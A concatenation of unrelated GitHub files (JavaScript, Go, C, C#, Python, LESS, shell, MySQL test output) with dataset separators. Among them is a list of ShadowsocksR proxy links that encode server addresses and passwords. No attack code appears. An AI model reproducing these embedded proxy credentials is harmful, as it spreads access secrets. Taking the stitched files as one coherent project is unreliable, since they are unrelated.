localsockets[id].close();
}
}
localAttempt = 0;
message('local', '<p class="event">Connected to your computer.');
localConnected = true;
}
localsocket.onclose = function(e) {
console.log('closed local websocket ' + this.id);
console.log(e);
$('#local-label').removeClass('connecting');
delete localsockets[this.id];
if (localConnected) {
delete socket.local;
}
else {
if (socket.localConnectTimer > 10) {
socket.stopLocalConnectTimer();
socket.localConnectTimer = 0;
}
}
localConnected = false;
setTimeout(connect, 1000);
};
localsocket.onmessage = function(msg) {
if(remoteConnected == true) socket.remote.send( msg.data );
};
localsocket.onerror = function(e) {
};
}
}
catch (exception) {
message('remote', '<p class="error">Error ' + exception);
message('local', '<p class="error">Error ' + exception);
}
}
function message(server, msg) {
if(server == "remote") $remotestatus.html(msg + '</p>');
if(server == "local") $localstatus.html(msg + '</p>');
}
connect();
});
</script>
</head>
<body>
<div data-role="page" id="start">
<div data-role="header" data-position="inline">
<h1>iOS-HTML5-Tethering</h1>
</div>
<div data-role="content">
<noscript><p class="warning">
Your browser does not have Javascript enabled. Javascript is required for tethering to work.
</p></noscript>
<div class="" id="remote-label"><strong>Server Status:</strong></div>
<div class="" id="remote-status"><p class="event">Loading...</p></div>
<div class="" id="local-label"><strong>Computer Status:</strong></div>
<div class="" id="local-status"><p class="event">Loading...</p></div>
</div>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="CompilerConfiguration">
<resourceExtensions />
<wildcardResourcePatterns>
<entry name="!?*.java" />
<entry name="!?*.form" />
<entry name="!?*.class" />
<entry name="!?*.groovy" />
<entry name="!?*.scala" />
<entry name="!?*.flex" />
<entry name="!?*.kt" />
<entry name="!?*.clj" />
<entry name="!?*.aj" />
</wildcardResourcePatterns>
<annotationProcessing>
<profile default="true" name="Default" enabled="false">
<processorPath useClasspath="true" />
</profile>
</annotationProcessing>
</component>
</project> | {
"pile_set_name": "Github"
} |
//
// Labels
// --------------------------------------------------
.label {
display: inline;
padding: .2em .6em .3em;
font-size: 75%;
font-weight: bold;
line-height: 1;
color: @label-color;
text-align: center;
white-space: nowrap;
vertical-align: baseline;
border-radius: .25em;
// Add hover effects, but only for links
a& {
&:hover,
&:focus {
color: @label-link-hover-color;
text-decoration: none;
cursor: pointer;
}
}
// Empty labels collapse automatically (not available in IE8)
&:empty {
display: none;
}
// Quick fix for labels in buttons
.btn & {
position: relative;
top: -1px;
}
}
// Colors
// Contextual variations (linked labels get darker on :hover)
.label-default {
.label-variant(@label-default-bg);
}
.label-primary {
.label-variant(@label-primary-bg);
}
.label-success {
.label-variant(@label-success-bg);
}
.label-info {
.label-variant(@label-info-bg);
}
.label-warning {
.label-variant(@label-warning-bg);
}
.label-danger {
.label-variant(@label-danger-bg);
}
| {
"pile_set_name": "Github"
} |
//-------------------------------------------------------------------------------
// <copyright file="ITransitionDefinition.cs" company="Appccelerate">
// Copyright (c) 2008-2019 Appccelerate
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// </copyright>
//-------------------------------------------------------------------------------
namespace Appccelerate.StateMachine.Machine.Transitions
{
using System;
using System.Collections.Generic;
using ActionHolders;
using GuardHolders;
using States;
public interface ITransitionDefinition<TState, TEvent>
where TState : IComparable
where TEvent : IComparable
{
IStateDefinition<TState, TEvent> Source { get; }
IStateDefinition<TState, TEvent> Target { get; }
IGuardHolder Guard { get; }
IEnumerable<IActionHolder> Actions { get; }
bool IsInternalTransition { get; }
}
} | {
"pile_set_name": "Github"
} |
package pflag
import "strconv"
// -- int32 Value
type int32Value int32
func newInt32Value(val int32, p *int32) *int32Value {
*p = val
return (*int32Value)(p)
}
func (i *int32Value) Set(s string) error {
v, err := strconv.ParseInt(s, 0, 32)
*i = int32Value(v)
return err
}
func (i *int32Value) Type() string {
return "int32"
}
func (i *int32Value) String() string { return strconv.FormatInt(int64(*i), 10) }
func int32Conv(sval string) (interface{}, error) {
v, err := strconv.ParseInt(sval, 0, 32)
if err != nil {
return 0, err
}
return int32(v), nil
}
// GetInt32 return the int32 value of a flag with the given name
func (f *FlagSet) GetInt32(name string) (int32, error) {
val, err := f.getFlagType(name, "int32", int32Conv)
if err != nil {
return 0, err
}
return val.(int32), nil
}
// Int32Var defines an int32 flag with specified name, default value, and usage string.
// The argument p points to an int32 variable in which to store the value of the flag.
func (f *FlagSet) Int32Var(p *int32, name string, value int32, usage string) {
f.VarP(newInt32Value(value, p), name, "", usage)
}
// Int32VarP is like Int32Var, but accepts a shorthand letter that can be used after a single dash.
func (f *FlagSet) Int32VarP(p *int32, name, shorthand string, value int32, usage string) {
f.VarP(newInt32Value(value, p), name, shorthand, usage)
}
// Int32Var defines an int32 flag with specified name, default value, and usage string.
// The argument p points to an int32 variable in which to store the value of the flag.
func Int32Var(p *int32, name string, value int32, usage string) {
CommandLine.VarP(newInt32Value(value, p), name, "", usage)
}
// Int32VarP is like Int32Var, but accepts a shorthand letter that can be used after a single dash.
func Int32VarP(p *int32, name, shorthand string, value int32, usage string) {
CommandLine.VarP(newInt32Value(value, p), name, shorthand, usage)
}
// Int32 defines an int32 flag with specified name, default value, and usage string.
// The return value is the address of an int32 variable that stores the value of the flag.
func (f *FlagSet) Int32(name string, value int32, usage string) *int32 {
p := new(int32)
f.Int32VarP(p, name, "", value, usage)
return p
}
// Int32P is like Int32, but accepts a shorthand letter that can be used after a single dash.
func (f *FlagSet) Int32P(name, shorthand string, value int32, usage string) *int32 {
p := new(int32)
f.Int32VarP(p, name, shorthand, value, usage)
return p
}
// Int32 defines an int32 flag with specified name, default value, and usage string.
// The return value is the address of an int32 variable that stores the value of the flag.
func Int32(name string, value int32, usage string) *int32 {
return CommandLine.Int32P(name, "", value, usage)
}
// Int32P is like Int32, but accepts a shorthand letter that can be used after a single dash.
func Int32P(name, shorthand string, value int32, usage string) *int32 {
return CommandLine.Int32P(name, shorthand, value, usage)
}
| {
"pile_set_name": "Github"
} |
# -*- coding: UTF-8 -*-
#/**
# * Software Name : pycrate
# * Version : 0.4
# *
# * Copyright 2018. Benoit Michau. ANSSI. P1sec.
# *
# * This library is free software; you can redistribute it and/or
# * modify it under the terms of the GNU Lesser General Public
# * License as published by the Free Software Foundation; either
# * version 2.1 of the License, or (at your option) any later version.
# *
# * This library is distributed in the hope that it will be useful,
# * but WITHOUT ANY WARRANTY; without even the implied warranty of
# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# * Lesser General Public License for more details.
# *
# * You should have received a copy of the GNU Lesser General Public
# * License along with this library; if not, write to the Free Software
# * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# * MA 02110-1301 USA
# *
# *--------------------------------------------------------
# * File Name : pycrate_csn1dir/p3_rest_octets.py
# * Created : 2018-11-21
# * Authors : Benoit Michau
# *--------------------------------------------------------
#*/
# specification: TS 44.018 - d80
# section: 10.5.2.25 P3 Rest Octets
# top-level object: P3 Rest Octets
# code automatically generated by pycrate_csn1
# change object type with type=CSN1T_BSTR (default type is CSN1T_UINT) in init
# add dict for value interpretation with dic={...} in CSN1Bit init
# add dict for key interpretation with kdic={...} in CSN1Alt init
from pycrate_csn1.csnobj import *
spare_padding = CSN1Val(name='spare_padding', val='L', num=-1)
Spare_padding = spare_padding
Spare_Padding = spare_padding
priority = CSN1Bit(name='priority', bit=3)
p3_rest_octets = CSN1List(name='p3_rest_octets', list=[
CSN1Alt(alt={
'H': ('', [
CSN1Bit(name='cn3', bit=2),
CSN1Bit(name='cn4', bit=2)]),
'L': ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Bit(name='nln_pch', bit=2),
CSN1Bit(name='nln_status_pch')]),
'L': ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Ref(name='priority1', obj=priority)]),
'L': ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Ref(name='priority2', obj=priority)]),
'L': ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Ref(name='priority3', obj=priority)]),
'L': ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Ref(name='priority4', obj=priority)]),
'L': ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Bit(name='implicit_reject_cs'),
CSN1Bit(name='implicit_reject_ps')]),
'L': ('', []),
None: ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Bit(name='ipa_support')]),
'L': ('', []),
None: ('', [])}),
CSN1Alt(alt={
'H': ('', [
CSN1Bit(name='peo_bcch_change_mark', bit=2),
CSN1Bit(name='rcc', bit=3)]),
'L': ('', []),
None: ('', [])}),
CSN1Ref(obj=spare_padding)])
| {
"pile_set_name": "Github"
} |
/*
comedi/drivers/comedi_pci.h
Various PCI functions for drivers.
Copyright (C) 2007 MEV Ltd. <http://www.mev.co.uk/>
COMEDI - Linux Control and Measurement Device Interface
Copyright (C) 2000 David A. Schleef <[email protected]>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#ifndef _COMEDI_PCI_H_
#define _COMEDI_PCI_H_
#include <linux/pci.h>
/*
* Enable the PCI device and request the regions.
*/
static inline int comedi_pci_enable(struct pci_dev *pdev, const char *res_name)
{
int rc;
rc = pci_enable_device(pdev);
if (rc < 0)
return rc;
rc = pci_request_regions(pdev, res_name);
if (rc < 0)
pci_disable_device(pdev);
return rc;
}
/*
* Release the regions and disable the PCI device.
*
* This must be matched with a previous successful call to comedi_pci_enable().
*/
static inline void comedi_pci_disable(struct pci_dev *pdev)
{
pci_release_regions(pdev);
pci_disable_device(pdev);
}
#endif
| {
"pile_set_name": "Github"
} |
#!/bin/bash
if [ -n "$(git status --porcelain --untracked-files=no)" ]; then
DIRTY="-dirty"
fi
COMMIT=$(git rev-parse --short HEAD)
GIT_TAG=$(git tag -l --contains HEAD | head -n 1)
if [ -z "$VERSION" ]; then
if [[ -z "$DIRTY" && -n "$GIT_TAG" ]]; then
VERSION=$GIT_TAG
else
VERSION="${COMMIT}${DIRTY}"
fi
fi
INITRD=initrd-${VERSION}
export VERSION COMMIT INITRD GIT_TAG DIRTY
# Suffix
export SUFFIX=""
if [ -n "${ARCH}" ] && [ "${ARCH}" != "amd64" ]; then
# TODO: why is this not exported?
SUFFIX="_${ARCH}"
fi
echo " Building ${VERSION} from ${COMMIT} on ${ARCH}"
| {
"pile_set_name": "Github"
} |
/**********************************************************************
* Copyright (c) 2013, 2014 Pieter Wuille *
* Distributed under the MIT software license, see the accompanying *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/
#ifndef _SECP256K1_ECDSA_
#define _SECP256K1_ECDSA_
#include "scalar.h"
#include "group.h"
#include "ecmult.h"
typedef struct {
secp256k1_scalar_t r, s;
} secp256k1_ecdsa_sig_t;
static int secp256k1_ecdsa_sig_parse(secp256k1_ecdsa_sig_t *r, const unsigned char *sig, int size);
static int secp256k1_ecdsa_sig_serialize(unsigned char *sig, int *size, const secp256k1_ecdsa_sig_t *a);
static int secp256k1_ecdsa_sig_verify(const secp256k1_ecmult_context_t *ctx, const secp256k1_ecdsa_sig_t *sig, const secp256k1_ge_t *pubkey, const secp256k1_scalar_t *message);
static int secp256k1_ecdsa_sig_sign(const secp256k1_ecmult_gen_context_t *ctx, secp256k1_ecdsa_sig_t *sig, const secp256k1_scalar_t *seckey, const secp256k1_scalar_t *message, const secp256k1_scalar_t *nonce, int *recid);
static int secp256k1_ecdsa_sig_recover(const secp256k1_ecmult_context_t *ctx, const secp256k1_ecdsa_sig_t *sig, secp256k1_ge_t *pubkey, const secp256k1_scalar_t *message, int recid);
#endif
| {
"pile_set_name": "Github"
} |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = gradient;
var _getPrefixedValue = require('../utils/getPrefixedValue');
var _getPrefixedValue2 = _interopRequireDefault(_getPrefixedValue);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
var values = /linear-gradient|radial-gradient|repeating-linear-gradient|repeating-radial-gradient/;
function gradient(_ref) {
var property = _ref.property;
var value = _ref.value;
var _ref$browserInfo = _ref.browserInfo;
var browser = _ref$browserInfo.browser;
var version = _ref$browserInfo.version;
var css = _ref.prefix.css;
var keepUnprefixed = _ref.keepUnprefixed;
if (typeof value === 'string' && value.match(values) !== null && (browser === 'firefox' && version < 16 || browser === 'chrome' && version < 26 || (browser === 'safari' || browser === 'ios_saf') && version < 7 || (browser === 'opera' || browser === 'op_mini') && version < 12.1 || browser === 'android' && version < 4.4 || browser === 'and_uc')) {
return _defineProperty({}, property, (0, _getPrefixedValue2.default)(css + value, value, keepUnprefixed));
}
}
module.exports = exports['default']; | {
"pile_set_name": "Github"
} |
ssr://MTM5LjE2Mi4xNS40NTo4MDk5Om9yaWdpbjphZXMtMjU2LWNmYjpwbGFpbjpaVWxYTUVSdWF6WTVORFUwWlRadVUzZDFjM0IyT1VSdFV6SXdNWFJSTUVRPS8_b2Jmc3BhcmFtPSZwcm90b3BhcmFtPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU1USTNMakV4NXBhdzVZcWc1WjJoJmdyb3VwPTVwYXc1WXFnNVoyaA==
ssr://MTcyLjEwNC41MC4xMDI6ODA5NzpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNVEU1TGpBNTVwYXc1WXFnNVoyaCZncm91cD01cGF3NVlxZzVaMmg=
ssr://MTcyLjEwNC41MC4xMDI6ODA5OTpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNVEU1TGpBNTVwYXc1WXFnNVoyaCZncm91cD01cGF3NVlxZzVaMmg=
ssr://MTcyLjEwNC4xNjEuNTQ6ODA5NzpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNakl6TGpFejVwYXc1WXFnNVoyaCZncm91cD01cGF3NVlxZzVaMmg=
ssr://MTcyLjEwNC4xNjEuNTQ6ODA5OTpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNakl6TGpFejVwYXc1WXFnNVoyaCZncm91cD01cGF3NVlxZzVaMmg=
ssr://c3NyLTA0LnNzcnN1Yi54eXo6ODg4OTphdXRoX2NoYWluX2E6bm9uZTpwbGFpbjphSFIwY0RvdkwzUXVZMjR2UlVkS1NYbHliQT09Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09ZEM1dFpTOVRVMUpUVlVJPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU16QTVMalUwNXBhdzVZcWc1WjJoJmdyb3VwPTVwYXc1WXFnNVoyaA==
ssr://c3NyLTAzLnNzcnN1Yi54eXo6ODg4OTphdXRoX2NoYWluX2E6bm9uZTpwbGFpbjphSFIwY0RvdkwzUXVZMjR2UlVkS1NYbHliQT09Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09ZEM1dFpTOVRVMUpUVlVJPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU1UWXpMakEyNXBhdzVZcWc1WjJoJmdyb3VwPTVwYXc1WXFnNVoyaA==
以上为新加坡地区节点
ssr://MTcyLjEwNC45OS4yMTA6ODA5NzpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNVGt3TGpjMzVwZWw1cHlzJmdyb3VwPTVwZWw1cHlz
ssr://MTcyLjEwNC45OS4yMTA6ODA5OTpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNVGt3TGpjMzVwZWw1cHlzJmdyb3VwPTVwZWw1cHlz
ssr://MTcyLjEwNC4xMjcuMjA4OjgwOTc6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTVRNeUxqZzI1cGVsNXB5cyZncm91cD01cGVsNXB5cw==
ssr://MTcyLjEwNC4xMjcuMjA4OjgwOTk6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTVRNeUxqZzI1cGVsNXB5cyZncm91cD01cGVsNXB5cw==
ssr://MTcyLjEwNS4yMTUuMjMyOjgwOTc6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTVRreExqVTU1cGVsNXB5cyZncm91cD01cGVsNXB5cw==
ssr://MTcyLjEwNS4yMTUuMjMyOjgwOTk6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTVRreExqVTU1cGVsNXB5cyZncm91cD01cGVsNXB5cw==
ssr://c3NyLTAxLnNzcnN1Yi54eXo6ODg4OTphdXRoX2NoYWluX2E6bm9uZTpwbGFpbjphSFIwY0RvdkwzUXVZMjR2UlVkS1NYbHliQT09Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09ZEM1dFpTOVRVMUpUVlVJPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU1UTTBMalUzNXBlbDVweXMmZ3JvdXA9NXBlbDVweXM=
以上为日本地区节点
ssr://MTA0LjIzNy4xNTQuMjA0OjgwOTc6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTXpFMExqVTE1NzZPNVp1OSZncm91cD01NzZPNVp1OQ==
ssr://MTA0LjIzNy4xNTQuMjA0OjgwOTk6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTXpFMExqVTE1NzZPNVp1OSZncm91cD01NzZPNVp1OQ==
ssr://NDUuMzMuMTA0LjE2Mjo4MDk3Om9yaWdpbjphZXMtMjU2LWNmYjpwbGFpbjpaVWxYTUVSdWF6WTVORFUwWlRadVUzZDFjM0IyT1VSdFV6SXdNWFJSTUVRPS8_b2Jmc3BhcmFtPSZwcm90b3BhcmFtPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU16YzBMak0zNTc2TzVadTkmZ3JvdXA9NTc2TzVadTk=
ssr://NDUuMzMuMTA0LjE2Mjo4MDk5Om9yaWdpbjphZXMtMjU2LWNmYjpwbGFpbjpaVWxYTUVSdWF6WTVORFUwWlRadVUzZDFjM0IyT1VSdFV6SXdNWFJSTUVRPS8_b2Jmc3BhcmFtPSZwcm90b3BhcmFtPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU16YzBMak0zNTc2TzVadTkmZ3JvdXA9NTc2TzVadTk=
ssr://NDUuNzkuOTAuNjY6ODA5NzpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNell3TGpjeTU3Nk81WnU5Jmdyb3VwPTU3Nk81WnU5
ssr://NDUuNzkuOTAuNjY6ODA5OTpvcmlnaW46YWVzLTI1Ni1jZmI6cGxhaW46WlVsWE1FUnVhelk1TkRVMFpUWnVVM2QxYzNCMk9VUnRVekl3TVhSUk1FUT0vP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNell3TGpjeTU3Nk81WnU5Jmdyb3VwPTU3Nk81WnU5
ssr://NDUuNzkuOTYuMTA0OjgwOTc6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTWpRNUxqQTE1NzZPNVp1OSZncm91cD01NzZPNVp1OQ==
ssr://NDUuNzkuOTYuMTA0OjgwOTk6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTWpRNUxqQTE1NzZPNVp1OSZncm91cD01NzZPNVp1OQ==
ssr://NjkuMzAuMjAxLjgyOjgwOTc6b3JpZ2luOmFlcy0yNTYtY2ZiOnBsYWluOlpVbFhNRVJ1YXpZNU5EVTBaVFp1VTNkMWMzQjJPVVJ0VXpJd01YUlJNRVE9Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09JnJlbWFya3M9NTctNzVhS1o1WVdhTWpnd0xqZ3o1NzZPNVp1OSZncm91cD01NzZPNVp1OQ==
ssr://c3NyLTA1LnNzcnN1Yi54eXo6ODg4OTphdXRoX2NoYWluX2E6bm9uZTpwbGFpbjphSFIwY0RvdkwzUXVZMjR2UlVkS1NYbHliQT09Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09ZEM1dFpTOVRVMUpUVlVJPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU1qSTFMall4NTc2TzVadTkmZ3JvdXA9NTc2TzVadTk=
ssr://c3NyLTAyLnNzcnN1Yi54eXo6ODg4OTphdXRoX2NoYWluX2E6bm9uZTpwbGFpbjphSFIwY0RvdkwzUXVZMjR2UlVkS1NYbHliQT09Lz9vYmZzcGFyYW09JnByb3RvcGFyYW09ZEM1dFpTOVRVMUpUVlVJPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU1UWTRMamMzNTc2TzVadTkmZ3JvdXA9NTc2TzVadTk=
以上为美国地区节点
ssr://NDMuMjI1LjEwMC42Mzo1MjMwMDpvcmlnaW46YWVzLTI1Ni1jdHI6cGxhaW46WVdFMU1qQXdNalV4TXpFMC8_b2Jmc3BhcmFtPSZwcm90b3BhcmFtPSZyZW1hcmtzPTU3LTc1YUtaNVlXYU5EQXVNVFhrdUszbG03MD0mZ3JvdXA9NUxpdDVadTk=
ssr://MTk0LjE1Ni4xMjAuMTAyOjg4ODY6YXV0aF9jaGFpbl9hOm5vbmU6cGxhaW46ZDNkM0xtWnlaV1Z6Y3k1aVpYTjAvP29iZnNwYXJhbT0mcHJvdG9wYXJhbT0mcmVtYXJrcz01Ny03NWFLWjVZV2FNemMyTGpnNTVMLUU1NzJYNXBhdiZncm91cD01TC1FNTcyWDVwYXY=
以上为其他地区节点
=============================
链接数量:27
检测时间:2020-08-23 22:03:53
=============================
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard.
//
#import "IPropertyValueApplicator.h"
@interface IPropertyDictionaryApplicator : IPropertyValueApplicator
{
}
@end
| {
"pile_set_name": "Github"
} |
# \file build.py
#
# \author Andrew Kerr <[email protected]>
# \date December 13, 2011
#
# \brief Common elements of SConstruct files for GPU Ocelot regression tests
#
import SCons
import os
import sys
import platform
def getCudaPaths():
"""Determines CUDA {bin,lib,include} paths
returns (bin_path,lib_path,inc_path)
"""
# determine defaults
if os.name == 'nt':
bin_path = 'C:/CUDA/bin'
lib_path = 'C:/CUDA/lib'
inc_path = 'C:/CUDA/include'
elif os.name == 'posix':
bin_path = '/usr/local/cuda/bin'
lib_path = '/usr/local/cuda/lib'
inc_path = '/usr/local/cuda/include'
else:
raise ValueError, 'Error: unknown OS. Where is nvcc installed?'
if platform.machine()[-2:] == '64':
lib_path += '64'
# override with environement variables
if 'CUDA_BIN_PATH' in os.environ:
bin_path = os.path.abspath(os.environ['CUDA_BIN_PATH'])
if 'CUDA_LIB_PATH' in os.environ:
lib_path = os.path.abspath(os.environ['CUDA_LIB_PATH'])
if 'CUDA_INC_PATH' in os.environ:
inc_path = os.path.abspath(os.environ['CUDA_INC_PATH'])
return (bin_path,lib_path,inc_path)
def InitializeEnvironment(env, builder):
# get CUDA paths
(cuda_exe_path, cuda_lib_path, cuda_inc_path) = getCudaPaths()
env.Append(CPPFLAGS=['-Wall', '-O2', '-g', '-I.', '-I' + cuda_inc_path, '-std=c++0x'])
env.Replace(CUDA_PATHS=getCudaPaths())
nvccPath = cuda_exe_path + ('/' if cuda_exe_path != '' else '')
for shaderModel in ('10', '11', '12', '13', '20'):
options = "-arch=sm_20 $OPTIONS"
env.Append(BUILDERS = {'Cuda' + ('SM' + shaderModel if shaderModel != '20' else ''): builder(
action = nvccPath + 'nvcc -I. -I' + cuda_inc_path + ' ' + options + ' $SOURCE -cuda -o $TARGET',
suffix = '.cu.cpp',
src_suffix = '.cu'
)})
return env
#
# Applies build rules to CUDA sources
#
def MapSource(env, source, options=''):
if len(source) > 8:
suffix = source[-8:].lower()
builder = {'_sm10.cu': env.CudaSM10, '_sm11.cu': env.CudaSM11, '_sm12.cu': env.CudaSM12,
'_sm13.cu': env.CudaSM13 }
if suffix in builder.keys():
return (builder[suffix])(source, OPTIONS=options)
if source[-3:] == ".cu":
return env.Cuda(source, OPTIONS=options)
return source
| {
"pile_set_name": "Github"
} |
'#--------------------FN_DYNVARS_014_01-------------------------#'
SET @global_collation_server = @@global.collation_server;
SET @session_collation_server = @@session.collation_server;
SET @@global.collation_server = latin1_danish_ci;
'connect (con1,localhost,root,,,,)'
'connection con1'
SELECT @@global.collation_server;
@@global.collation_server
latin1_danish_ci
SELECT @@session.collation_server;
@@session.collation_server
latin1_danish_ci
'#--------------------FN_DYNVARS_014_02-------------------------#'
'connection default'
DROP TABLE IF EXISTS t1,t2;
'---check if setting collation_server update character_set_server---'
SET @@session.collation_server = utf8_spanish_ci;
Warnings:
Warning 3778 'utf8_spanish_ci' is a collation of the deprecated character set UTF8MB3. Please consider using UTF8MB4 with an appropriate collation instead.
SELECT @@collation_server, @@character_set_server;
@@collation_server @@character_set_server
utf8_spanish_ci utf8
'--check if collation_server effects database/table charset/collation--'
SET @@session.collation_server = latin1_german1_ci;
CREATE DATABASE db1;
USE db1;
SHOW CREATE DATABASE db1;
Database Create Database
db1 CREATE DATABASE `db1` /*!40100 DEFAULT CHARACTER SET latin1 COLLATE latin1_german1_ci */ /*!80016 DEFAULT ENCRYPTION='N' */
CREATE TABLE t1(a CHAR(20));
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`a` char(20) COLLATE latin1_german1_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_german1_ci
'---check if updating collation_server effects new table/column---'
SET @@session.collation_server = latin1_swedish_ci;
set names latin1;
CREATE TABLE t2(a CHAR(10));
SHOW CREATE TABLE t2;
Table Create Table
t2 CREATE TABLE `t2` (
`a` char(10) COLLATE latin1_german1_ci DEFAULT NULL
